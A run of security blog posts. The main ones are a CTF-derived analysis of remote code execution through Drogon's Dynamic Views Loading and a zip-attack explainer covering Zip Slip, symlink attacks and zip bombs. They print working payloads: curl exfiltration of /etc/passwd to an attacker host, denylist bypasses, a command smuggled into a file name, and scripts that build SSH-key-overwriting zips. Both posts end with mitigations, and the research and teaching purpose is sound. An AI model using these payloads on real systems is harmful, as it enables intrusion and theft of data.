^{Flow Chart of Dynamic Views Loading}

The user writes a .csp file to the dynamic view path. The rest is up to Drogon.
Drogon detects the new/modified .csp files.
Drogon translates the .csp to a regular C++ .h and .cc file, using the drogon_ctl command-line tool.
The .cc is compiled into a shared object (.so) using the -shared flag.
The .so is loaded with dlopen, after previous versions are unloaded with dlclose.²
The new/updated view can now be used in application code.

All of this happens in SharedLibManager.cc. Feel free to take a gander.

From CSP Markup to C++

Another natural question to ask is: how is CSP markup converted in C++ source code and compiled?

This is quite an important question, since it affects how we can inject code, and the defensive measures needed. We can analyse this by running...

drogon_ctl create view Example.csp

which generates Example.h and Example.cc.

Let's look at how C++ is generated from markup.

<%c++ ... %> - content inside this tag is inserted into a genText() function.

<h1>Example</h1>
<%c++ int a = 40 + 2; $$ << a; %>
<h2>Hello world!</h2>

// Boilerplate: includes...
using namespace drogon;
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    Example_tmp_stream << "<h1>Example</h1>\n";
    int a = 40 + 2; Example_tmp_stream << a; 
    Example_tmp_stream << "<h2>Hello world!</h2>\n";
    // Boilerplate: convert stream to string and return...
}

Example_tmp_stream is a stringstream used to prepare the final HTML. Eventually, it gets converted to a string and returned.

{% ... %} - equivalent to <%c++ $$ << ... %>, it just echoes the expression. The closing %} must be on the same line as the opening {%.

<%inc ... %> - meant for including additional libraries. Code is placed in file-level scope.

<%inc
#include <algorithm>
#define MY_MACRO
void my_function() {}
%>
<h1>Example</h1>

// Boilerplate: includes...
#include <algorithm>
#define MY_MACRO
void my_function() {}

using namespace drogon;
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    Example_tmp_stream << "<h1>Example</h1>\n";
    // Boilerplate: convert stream to string and return...
}

[[ ... ]] - for inserting data passed from application code.

<h1>Hi [[name]]!</h1>

// ...
Example_tmp_stream << "<h1>Hi ";
{
    auto & val=Example_view_data["name"];
    if(val.type()==typeid(const char *)){
        Example_tmp_stream<<*(std::any_cast<const char *>(&val));
    }else if(val.type()==typeid(std::string)||val.type()==typeid(const std::string)){
        Example_tmp_stream<<*(std::any_cast<const std::string>(&val));
    }
}
Example_tmp_stream << "!</h1>\n";
// ...

Attack Vectors

There are countless attack vectors to address.

RCE via Rendered CSP. First, we'll start by looking at a simple PoC which triggers RCE when the view is rendered.
Bypasses. We'll survey common functions and tricks to bypass a denylist.
RCE via Init Section. Here, we'll trigger RCE without rendering the view.
RCE via File Name. Finally, we'll discuss a harrowing insecurity in the DVL code path.

Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.

1. RCE via Rendered CSP

Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual system and execve functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.

<%c++
    system("curl http://attacker.site --data @/etc/passwd");
%>

To trigger this RCE, the application code needs to render the view with HttpResponse::newHttpViewResponse("Example.csp").

The following diagram shows where code execution occurs along the pipeline. We'll update the diagram as we explore other vectors.

^{A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling newHttpViewResponse.}

2. Bypassing Simple Denylists

If the loophole resides in a few key functions, can't we simply block those functions?

No. This is extremely difficult in a diverse language such as C++. Not only does it have its own language features and standard library; but it also inherits most of C's baggage. There are many ways to bypass a denylist. As such, a sufficiently secure denylist will either be exhaustively long or severely limiting.

This goes to show how denylists (blacklists) are generally discouraged from a security PoV, as it's difficult to account for all methods of bypass. In the case of programming languages, however, allowlists (whitelists) are also difficult to construct, as limiting ourselves to a set of tokens severely constrict the realm of possible CSP programs, and may hinder development.³

The only solution, really, is to not enable DVLs. More on mitigations later.

A sufficient denylist needs to consider the following approaches, similar to any C/C++ denylist-bypass challenge. The actual denylist has been left as an exercise for the reader.

File Read/Write with `fstream`, `fopen`

<%inc
#include <fstream>
#include <sstream>
%>
<%c++
    std::ifstream ifs{"/etc/passwd"};
    if (ifs.is_open()) {
        $$ << ifs.rdbuf();
    } else {
        $$ << "Failed to open file.";
    }
%>

File Read/Write with `open`, `read`

If high-level file IO isn't an option, we could always resort to the lower-level Linux functions.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    read(open("/etc/passwd", 0), buffer, 99);
    $$ << buffer;
%>

File Read/Write, RCE with `syscall`

We can go one level deeper using the syscall() function. This allows us to call the usual open, read, write, execve syscalls, albeit less readably.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    syscall(0, syscall(2, "/etc/passwd", 0       ), buffer, 99);
//  read(      open(      "/etc/passwd", O_RDONLY), buffer, 99);
    $$ << buffer;
%>

Thanks to syscall 59, we can also run execve to achieve RCE.

<%inc
#include <unistd.h>
%>
<%c++
    const char* argv[] = {
        "/usr/bin/curl",
        "http://attacker.site",
        "--data",
        "@/etc/passwd",
        NULL
    };
    syscall(59, "/usr/bin/curl", argv, 0);
%>

Handy Reference: Linux x86 Syscalls - filippo.io

File Read with `mmap`

After opening and creating a file descriptor via open or syscall(2, ...), we can also use mmap to perform a read instead of the usual read.

<%inc
#include <unistd.h>
#include <sys/mman.h>
%>
<%c++
    $$ << (char*)mmap(NULL, 99, 1, 2, syscall(2,"/etc/passwd", 0), 0);
    // mmap(addr, length, memory_protection, flags, fd, offset)
%>

File Read/Write, RCE via Inline Assembly

Pretty much any syscall in C can be translated to assembly, and GCC's extended assembly makes it convenient to pass input and output.

The following CSP opens and reads /etc/passwd into a buffer, then outputs it. This is equivalent to the open-read idiom we used above.

<%c++
    char file[] = "/etc/passwd", buffer[256] = {0};
    asm(R"(
        mov $2, %%rax;
        lea (%0), %%rdi;
        mov $0, %%rsi;
        syscall;
        
        mov %%rax, %%rdi;
        mov $0, %%rax;
        lea (%1), %%rsi;
        mov $255, %%rdx;
        syscall
    )"
        : : "b" ( file ), "d" ( buffer )
    );
    $$ << buffer;
%>

"b" ( file ) and "d" ( buffer ) are inputs to our asm procedure. The letters b and d refer to the %rbx and %rdx register. I chose these registers specifically to avoid conflicts. (%rax gets written with 2 on the first line, %rcx gets overwritten by the first syscall.)

Exercises for the reader:

Try to figure out how the assembly maps to the C syscalls in the previous sections.
buffer is technically an output, so why do we treat it as an input?
Demonstrate RCE by using the execve syscall.

Blocking the keyword syscall will not work here. We can bypass it with a simple sys" "call, since adjacent strings are concatenated in C/C++ ("a" "b" == "ab"). To properly block such calls, we would need to block the functions invoking inline assembly, such as asm.

Handy Reference: Using Inline Assembly in C/C++

Local File Inclusion with `#include`

Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then #include-ing it in the CSP. All #include really does is copy-paste the included file's content, which then gets compiled as C/C++ code.

Example.csp - with stringent checks on denied words.
```
<%inc #include "safe.txt" %>
```
Example.csp
C++ Server Pages
safe.txt - other C++ code which gets a free pass, possibly using a technique above.
```
system("curl http://attacker.site --data @/etc/passwd");
```
safe.txt
C++

This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.

I'll admit this one slipped my mind; quite a few players discovered this unintended solution during the CTF.

Bypass Denylists with Macro Token Concatenation (`##`)

C/C++ macros have some quirky features:

#: Converts a macro argument's value to a string.
```
#define STR(X) #X
// STR(abc) == "abc"
```
C++

##: Joins two arguments.

#define GLUE(X, Y) X ## Y
GLUE(c, out) << "hello world!" << GLUE(e, ndl); // cout << "hello world!" << endl;

#define GLUE2(X) X ## _literally
int GLUE2(var) = 1; // int var_literally = 1;

The second feature allows us to bypass denylists which only match full words.

For instance, if a denylist blocks system, we can do GLUE(s, ystem).

<%inc #define GLUE(X, Y) X ## Y %>
<%c++
    GLUE(s, ystem)("curl http://attacker.site --data @/etc/passwd");
%>

3. RCE via Init Section

The previous tricks use <%c++ which only executes when the view is rendered. But what if I told you we can execute code without even rendering the view?

That's right, all we need is to load the .so to execute code!

^{Using <%c++ will execute code when "View is Rendered", but by strategically placing code in the .init section of the binary, we can get code to execute right after loading the .so!}

Let's look at a few examples of how we can achieve this tomfoolery.

Init Section via `<%inc`

There are various ways to run code prior to main(). We can make use of the fact that <%inc places code in file scope.

<%inc
// 1. Assign variable with function call.
int a = system("curl http://attacker.site --data @/etc/passwd");

// 2. To run more code, we can create a function first.
int foo() {
    return system("curl http://attacker.site --data @/etc/passwd");
}
int b = foo();

// 3. GCC attributes - gets called automatically.
__attribute__((constructor))
void bar() {
    system("curl http://attacker.site --data @/etc/passwd");
}
%>

When compiled, all of this is placed in the .init_array section, which allows multiple function pointers to be called during initialisation.

Escaping Function Scope with `<%c++` and `[[`

Blocking <%inc is not enough. Even with <%c++ and [[, it is possible to escape function scope and insert a function in the top-level. This is partly by-design, so that like PHP, we can use C++ if-statements and for-loops to dynamically generate HTML. But we can also abuse this to escape the genText() function.

We demonstrate this with the following CSP:

<%c++ 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
%>

and here's the generated C++:

// Boilerplate: includes...
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    // Boilerplate: convert stream to string and return....

The same idea goes for variable markup [[...]], the only difference being whitespace is not allowed.

<h1>Hi [[name"];}}__attribute__((constructor))void/**/injected(){system("...");}std::string/**/dummy(const/**/DrTemplateData&data){drogon::OStringStream/**/Example_tmp_stream;std::string/**/layoutName{""};{auto&val=data["]]</h1>

Likewise for <%layout and <%view. (Left as an exercise for the reader.)

Thought that was the worst we could do? It gets worse.

4. RCE via File Name

Remember how Drogon runs drogon_ctl to convert .csp files to .cc files? Guess how this command is run.

That’s right, system() is called. And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!

Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named foo$(curl attacker.site/abcd) will be treated as a folder (foo$(curl attacker.site/) + a file (abcd)).

Takeaways and Mitigations

Although this was meant for a couple fun 48-hour CTF challenges, it feels appropriate to close with some tips on defence.

So what did we learn?

Drogon, at the moment, does not sandbox or properly sanitise CSP content.⁴ This is by design, since CSPs inherently contain trusted content.
There are three main ways to achieve RCE on a DVL-enabled Drogon server. And this comes with the prerequisite of file-write privileges.
1. RCE via Rendered CSP
2. RCE via Init Section
3. RCE via File Name
Denylists need to consider a wide range of bypass methods.

And mitigations?

Don't enable Dynamic Views Loading, unless you're in a local dev environment. Switch off DVL after using.
Don't allow untrusted input to be compiled and loaded as views; statically or dynamically.
Protecc your dynamic views directory. Don't allow untrusted files to be written there.
- It doesn't matter if the view will be rendered in application code, because — as we discovered earlier — once drogon_ctl is run, an RCE endpoint is already exposed.
If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
- If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it's too late: Drogon kicks in and devours the CSP.
^{Defensive filtering, if any, should occur before CSP files are written.}

Do I expect the RCE issues to be fixed? Considering the purpose of DVLs... probably not. Judging by the maintainer's stance, DVLs are purely meant for development:

Note: This feature is best used to adjust the HTML page during the development phase. In the production environment, it is recommended to compile the csp file directly into the target file. This is mainly for security and stability. (Source)

Conclusion

Although Dynamic Views Loading (DVL) seems appealing for implementing features such as user-generated content or dynamically adding plugins, DVL is a dangerous liability if left in the open. In this post, we've demonstrated multiple ways to exploit DVL, given file-write privileges. DVL is ill-suited for production-use and should only be used for its intended purpose — local testing in development environments.

^{Nice View: the Dragon's Back Hiking Trail in Hong Kong Island.}

Footnotes

This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1. ↩︎
dlopen seems to only be available on Unix-like machines. ↩︎
Whitelisting a program's AST could prove effective, but this requires us to first generate an AST — a non-trivial problem. ↩︎
At the time of writing, I'm using Drogon version 1.9.1. ↩︎

From Compression to Compromise: Unmasking Zip File Threats

2024-02-15T00:00:00Z

Zip files are everywhere in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.

But as we know from Silicon Valley, zip files have the potential to be dangerous.

^{YouTube: Silicon Valley - The Ultimate Hack}

In this post, we'll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.

The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.

Disclaimer: The content provided in this blog post is intended purely for educational purposes. The author does not assume any responsibility for the potential misuse of the information presented herein. Readers are advised to exercise caution and utilise the knowledge gained responsibly and within legal boundaries.

Zip Attacks

Zip Slip ⛸

Overview of Zip Slip

Zip Slip is a fancy name for directory traversal but applied to zip uploads. The idea is to escape a directory by visiting parent directories through ../ (or ..\ on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.

Let's look at an example.

A typical zip file may look like this:

foo.zip
└── data1.csv
└── data2.txt
└── ...

But in a Zip Slip payload, files are prefixed with nasty double-dots (../). As an example, we'll try to overwrite SSH keys by writing to /root/.ssh/authorized_keys.

evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys

(Note: placeholder.txt has been included as a control variable, i.e. to show what happens normally to files.)

Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.

Suppose a vulnerable application unzips evil-slip.zip to /app/uploads/. The unzipped authorized_keys file would end up in /app/uploads/../../root/.ssh/authorized_keys, i.e. /root/.ssh/authorized_keys.

/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys

^{Result of unzipping evil-slip.zip. Note that placeholder.txt resides in the unzip directory, while authorized_keys has sneaked its way into /root/.ssh/.}

Overwriting ~/.ssh/authorized_keys is a common arbitrary file write vector which can be applied in other file upload scenarios too! (See this MITRE reference.)

This isn't the only way to gain arbitrary code execution. There are other potential targets for an arbitrary file write (server credentials, config files, cron jobs, etc.).

DIY: Build your own Zip Slip payload!

With Python

Python's built-in zipfile module provides a convenient way to create zip files.

import zipfile

with zipfile.ZipFile("evil-slip.zip", "w") as zip:
    zip.write("my-ssh-key.pub", "../../root/.ssh/authorized_keys")
    #          │                 └ filename to store on the archive
    #          └ file to compress from our local file system

This creates a new evil-slip.zip zip file. After importing the zipfile module, we create an instance with the desired file name (evil-slip.zip) and use write-mode ("w"). (There is also r and a for reading/adding files.)

We also use Python's with statement, so that the zip file automatically saves when leaving the block, whether due to normal or erroneous circumstances.

Inside, we use zip.write to add files to the zip. We add a local file my-ssh-key.pub and store it as ../../root/.ssh/authorized_keys in the archive.

One nice thing about the zipfile module is that it constructs the file in-memory (without creating temporary files). This allows us to craft complex zips without trashing our local filesystem.

_(collapse)

With Shell Commands

Another approach is to use shell commands and reverse the process: start with the files we want unzipped.

touch ../../root/.ssh/authorized_keys
Normally we would run `ssh-keygen` to generate a key pair...
and use the generated public key as our authorized_keys.
But let's assume ../.ssh/authorized_keys holds a public key.

zip evil-slip ../../root/.ssh/authorized_keys
  adding: ../../root/.ssh/authorized_keys (deflated 18%)

unzip -l evil-slip
Archive:  evil-slip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys
---------                     -------
      575                     1 file

_(collapse)

Limitations of Zip Slip

On Windows, you may need backslashes \ instead of forward slashes /. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.
The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder. For instance, to write to foo/bar/baz/flag.txt, we need x permissions on foo/ and foo/bar/; and wx permissions on foo/bar/baz/.

Zip Symlink Attacks 🖇

Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let's first clarify two types of symlinks in our arsenal:

Symlink Files. This allows us to potentially read arbitrary files.
Symlink Directories. This allows us to potentially write files to arbitrary folders.

Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, WAFs, etc.

Arbitrary File Read with File Symlinks

Let's start with a simple zip symlink payload. Here's a zip which contains a symlink to /etc/passwd.

evil-link-file.zip
└── passwd.txt         -> /etc/passwd

Suppose (again) a vulnerable app unzips this file at /app/uploads/. The filesystem would now resemble:

app/
└── uploads/
	└── passwd.txt     -> /etc/passwd

If we can read files in /app/uploads/, then we can read passwd.txt and by extension, /etc/passwd!¹ We can use this method to read any file on the system (subject to certain constraints to be discussed later).

This is all fine and dandy if we can read files in /app/uploads/. But... what if can't?

One solution is to find a readable directory, then deploy the symlink into that directory with Zip Slip. But let's look at another way to achieve the same result...

Arbitrary File Write with Dir Symlinks

Although Zip Slip does allow us to perform arbitrary file writes, .. patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.

Again, let's try to write a file to /root/.ssh/authorized_keys.

Instead of using one zip entry, we'll use two: a directory and a file.

evil-link-dir.zip
└── dirlink/           -> /root/.ssh/
    └── authorized_keys

These two entries are:

dirlink: a symlink to our target directory
dirlink/authorized_keys: the file we're trying to write

Now our zip contains a symlink directory! Let's go through what happens when this file is unzipped by a vulnerable app.

First, dirlink is decompressed and a symlink is created, pointing to /root/.ssh/. Next, the app tries to decompress dirlink/authorized_keys, which—if the app follows symlinks—gets written to /root/.ssh/.

Tada! We've just shown another way to achieve arbitrary file write.

Let's see what the filesystem looks like now.

/
├── app/
│	└── uploads/
│	    └── dirlink        -> /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys

Put it into Practice: If you're itching to try out Zip Slip and zip symlink attacks, feel free to try the exercises I've uploaded on GitHub.

DIY: Build your own Zip Symlink Payload!

With Python

Like before, we can use Python to generate zip symlink payloads. We'll need some extra massaging with ZipInfo though.

# evil-link-file.zip
# └── passwd.txt         -> /etc/passwd
with zipfile.ZipFile("evil-link-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.
  info = zipfile.ZipInfo("passwd.txt")
  info.create_system = 0 # Linux => 0. Windows => 3.
  info.external_attr = (stat.S_IFLNK | 0o777) << 16 # File attributes.
  zip.writestr(info, "/etc/passwd")  # /etc/passwd is the file we want to read.

To construct a dir symlink attack, we change the path in zip.writestr to a directory. We also use zip.write to add a source file.

# evil-link-dir.zip
# └── dirlink/           -> /root/.ssh/
#     └── authorized_keys
with zipfile.ZipFile("evil-link-dir.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/root/.ssh/")

  # Add an file from our filesystem. (Not a symlink.)
  zip.write("my-ssh-key.pub", "dirlink/authorized_keys")

For a double symlink attack (file symlink + dir symlink), we just combine the two methods and create two symlinks.

# evil-link-dir.zip
# └── dirlink/           -> /some/readable/directory/
#     └── passwd.html    -> /etc/passwd
with zipfile.ZipFile("evil-link-dir-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # Order matters! Write dir first, then file.
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/some/readable/directory/")

  info = zipfile.ZipInfo("dirlink/passwd.html")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/etc/passwd")

_(collapse)

With Shell Commands

Shell commands also work. (Make sure to use -y/--symlinks when zipping symlinks. Otherwise, you'd be adding your actual /etc/passwd!)

Double symlink payload construction:

Create our (soft) links.
ln -s /some/readable/directory/ dirlink
ln -s /etc/passwd dirlink/passwd.txt
Zip the links. (Order matters!)
zip -y evil-link-dir-file dirlink dirlink/passwd.txt

Note that this approach will leave leftover files.

_(collapse)

Limitations of Zip Symlink Attacks

Permissions on Linux.
- To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).²
- Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.
Permissions on Windows. By default, only Administrators have the privilege to create symbolic links. This setting can be changed by editing the local group policy or by directly enabling SeCreateSymbolicLinkPrivilege.
Although symlink attacks are cool and all, they're relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.

Zip Bombs 💣

Since we're talking about attacks, let's also cover zip bombs for completeness.

Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed fork bomb, a zip bomb attempts to drain system resources.

^{Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?³}

The basic principle abuses the deflate⁴ compression format to achieve compression ratios of up to 1032:1. This means after compression, every byte of compressed data can represent up to 1032 bytes of uncompressed data.

Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.

Why are highly-repetitive patterns 'easier to compress'?

To see why repetitive patterns facilitate compression, consider an analogy with run-length encoding. If we want to compress 1111222233334444, we would say four 1s, four 2s, four 3s, four 4s which has a compression ratio of 12 characters to 8 words. But if we want to compress 1111111111111111, we would say twelve 1s, which has a higher compression ratio of 12 characters to 2 words.

_(collapse)

The well-known 42.zip bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of 4.5PB (petabytes, 15 zeros)!

Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.

In 2019, David Fifield introduced a better zip bomb, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.⁵ A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as Metadata Spoofing.

DIY: Build your own Zip Bomb!

Here's a small demo on a Linux shell:

Create a blank file with 5GB of null bytes.
dd if=/dev/zero bs=20000 count=250000 >zero.txt

Zip it.
zip test.zip test.txt

Count the number of bytes.
wc -c zero.txt zero.zip
 5000000000 zero.txt
 4852639 zero.zip
 5004852639 total

From 5GB, we've gone down to ~4.9MB! A few of these could exhaust most virtual machines.

Zip Vulnerabilities in the Wild

Here are some notable zip vulnerabilities in the past decade:

Multiple Zip Vulnerabilities across Flutter and Swift Packages (2023)
Zip Symlink Vulnerability in Juce (2021)
Zip Slip (2018) and Metadata Spoofing (2019) in Rubyzip
Zip Slip Bonanza in Multiple Languages/Frameworks/Packages (2018 - 2019)

Keep in mind zip files come in different forms. Here are some you might be familiar with:

.docx, .pptx, .xlsx (Microsoft Documents),
.jar (Java Archive),
.apk (Android App),
.mscx (MuseScore File).

Any service processing such files has potential to be vulnerable.

Mitigations and Other Considerations

So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?

Let's explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)

Permissions

For sysadmins.

Avoid running applications as root or Administrator. Instead, run it with a minimum privilege user.

Minimum meaning: enough permissions to get the job done, and only enabling higher permissions when needed. Typically, only read/write are needed. Maybe write permissions for log/upload directories.

In America, "all men are created equal". Not so in filesystems.

Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.

See Limitations of Zip Slip and Limitations of Zip Symlink Attacks for details on relevant permissions.

Modern Antivirus

For sysadmins and normies.

Upgrade your (antivirus) software. Daily updates to malware signatures ensure your antivirus program stays equipped to detect and thwart emerging threats.

Although zip bombs have targeted antivirus (AV) systems in the past, most modern AV programs can detect zip bombs by recognising patterns and signatures.

Robust Code

For software developers building/maintaining zip applications/libraries.

Consider the nature of your application/library and handle edge cases. Prevent attack vectors where applicable.

Although /../ and symlinks can be used maliciously, they are technically allowed by the zip specification⁶. So... should your product implement protections against these? It depends.

Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
- Then yes, you should prevent the aforementioned tricks entirely.
Are you developing a low-level unzip library, closely following the zip spec?
- Then not necessarily, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.

Code: Malicious Actors Hate This One Simple Trick!

One common way to prevent arbitrary file write attacks is to:

resolve the canonical path of the target file,⁷ and
verify the path is within the unzip directory.

For instance, Juce v6.1.5 added such a check:

if (!fileToUnzip.isAChildOf(directoryToUnzipTo))
  // Attack attempt detected: attempted write outside of unzip directory.
  return Result::fail("...");

_(collapse)

Attack Vectors and Edge Cases to Consider

For high-level unzip libraries and applications.

Checklist of edge cases to consider.

.. (Zip Slip),
symlinks (zip symlink attacks),
potential uncompressed file size (especially if your application targets end-users or constrained systems).

_(collapse)

Good Defaults

For all unzip libraries and applications.

Don't follow symlink directories.
Don't overwrite files. You don't want your existing files wiped out, right?

It's a good idea to keep these defaults, unless you really need these features, and you're confident with the level of risk you're dealing with.

_(collapse)

Unit Tests

For software developers building/maintaining zip libraries.

Adopt unit testing to verify your code works as intended. Add test cases against unintended situations.

Test cases prevent software regression and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a test case against Zip Slip.

tl;dr

A quick recap:

There are generally three streams of zip attacks:
- Arbitrary File Write with Zip Slip
- Arbitrary File Read/Write with Zip Symlink Attacks
- Denial of Service with Zip Bombs and Metadata Spoofing
Ways to counter zip attacks include:
- (Sysadmins) Run applications with a minimum-privilege user.
- (Regular Users, Sysadmins) Regularly update antiviruses with new signatures.
- (Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.

While zip files offer convenience and efficiency in compressing and sharing data, we shouldn't overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.

Anecdotes? Stories? New zip developments? Let me know by leaving a comment. 🙂

Other References

PentesterAcademy: From Zip Slip to System Takeover
SecurityVault: Attacks with Zip Files and Mitigations
zipattack.py - various functions to construct zip payloads in Python

Footnotes

Okay, some steps were skipped here for the sake of simplicity. The long answer is: reading a symlink also depends on permissions of the source file and the source directory. If we can read files in our upload directory and if we have sufficient permissions, then we can (potentially) have arbitrary file read. See Limitations. ↩︎
Reference: SO: Minimum Permissions Required to Create a Link to a File ↩︎
There probably aren't as many memes on zip bombs as they tend to be a software bug which can be swiftly patched. ↩︎
This is the same compression algorithm used in gzip (commonly used for transferring files across the web) and PNGs. ↩︎
Fifield's article on "a better zip bomb": https://www.bamsoftware.com/hacks/zipbomb/. (It may be blocked on some browsers.) ↩︎
Reference: PKWare Mirror ↩︎
Canonical path means no ./, no ../, no ~/, no symlinks. Just a directory built directly from /. ↩︎

HKCERT CTF 2023 – Decompetition: Vitamin C++

2023-11-16T00:00:00Z

Oh boy, another C++ reverse challenge. :rubs_hands_in_delight:

Decompetition: Vitamin C++ is a reverse engineering challenge in this year's HKCERT CTF, an annual online capture-the-flag competition hosted in Hong Kong. The format is slightly different from usual rev chals in that we’re required to derive the source code of a binary. This really tests our understanding of how the language is compiled into machine code.

So whether you’re a first-timer or a veteran at reversing C++, this is a fun(?) way to dive deep into or review neat aspects of the language.

If you want to follow along, you can grab the challenge here: GitHub (Backup). I’ll also be relying on Ghidra as my decompiler, because I ~~am poor~~ want to support open-source.

Description

Author: harrier
4/5 stars ⭐️. 5/311 solves.

So let's learn reverse with Decompetition!¹ The goal is simple: try to recover the original source code as much as possible, while understand the code logic deeply to get the internal flag! Only with two of those together, you will win this flag.

STL is used everywhere, so it would be nice to be able to reverse them!

Note there is an internal flag with flag format internal{}. Please do not submit this directly to the platform.

g++ version: g++ (Debian 12.2.0-14) 12.2.0
nc chal.hkcert23.pwnable.hk 28157

And a note on testing:

If you want to run this locally, you can install all the prerequisite library with pip, and run python compiler trie.disasm.
pip install pyyaml capstone intervaltree pyelftools diff_match_patch

Thus, to get the flag, we need to:

Obtain the source code (97.5% similarity).
Obtain the internal flag by reversing the source code.
Submit the internal flag (not to the platform, but to the remote connection).
Profit!

(You can see this process play out in compiler.py.)

The first step is the most challenging. Even if we have a decent understanding of the program, we still need the source code to continue.

Let’s start by analysing what we’re given and how we can approach the problem. We'll aim for 100% similarity, but go step by step.

Analysis

Unzipping our bag of goodies, we’re given:

compiler.py. This is the backend doing all the compilation and diffing.
- Only TrieNode methods, wordhash, and main are diffed.
- Prior to compiling, our code is prefixed with some boilerplate (includes of unordered_map, string, and iostream).
build.sh. Checks our code against bad patterns, and compiles the program.
trie. This is the binary file of our target source code. Open this in your favourite decompiler.
trie.disasm. This is the disassembly used by compiler.py for diffing.
flag.txt. Read and printed by compiler.py after submitting the internal flag.
A bunch of other Python files to make things work.

Is there a way we can simplify the process?

Inline assembly with asm, attribute trickery, and macros are disallowed.

A quick Google search for TrieNodes resulted in disappointment. The mix() function is especially unique, as tries generally just do insert/search. So we can probably conclude: the implementation was either hand-spun or modified substantially.

It appears the most productive approach is to tackle the problem head on.

But hey, it’s just a simple lil’ trie, not a friggin standard template container or Boost/Qt library. We can do this!

Trie Me

Let’s briefly review tries. What is a trie?

Tries, or prefix trees, are data structures commonly used to efficiently store and retrieve strings. They are particularly useful for tasks like autocomplete or spell checking. The key idea behind tries is that each node in the tree represents a prefix of a string, and the edges represent the characters that can follow that prefix.

^{Example of trie containing the words and, ant, dad, and do. Each edge represents a letter to the next prefix. (Source)}

In terms of matching an exact string, the complexity is similar to a hashmap: O(n) insert/search time, w.r.t. the length of the string. But a hashmap is typically faster as it requires fewer operations.
The power of tries comes with alphabetical ordering and prefix search (which is why they’re useful for autocomplete). Hashmaps can't do this.

